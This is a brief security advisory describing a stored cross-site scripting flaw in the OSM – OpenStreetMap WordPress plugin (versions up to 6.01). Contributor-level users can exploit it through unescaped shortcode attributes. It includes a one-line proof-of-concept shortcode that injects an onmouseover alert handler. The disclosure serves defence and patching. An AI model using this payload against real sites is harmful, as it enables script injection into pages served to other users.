OSM – OpenStreetMap <= 6.01 - Contributor+ Stored XSS via Shortcode

The plugin does not validate and escape some of its shortcode attributes, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attack.

PoC

[osm_map map_border=‘3px solid black;background:red;width:100px;height:100px;" onmouseover=“alert(1)”’]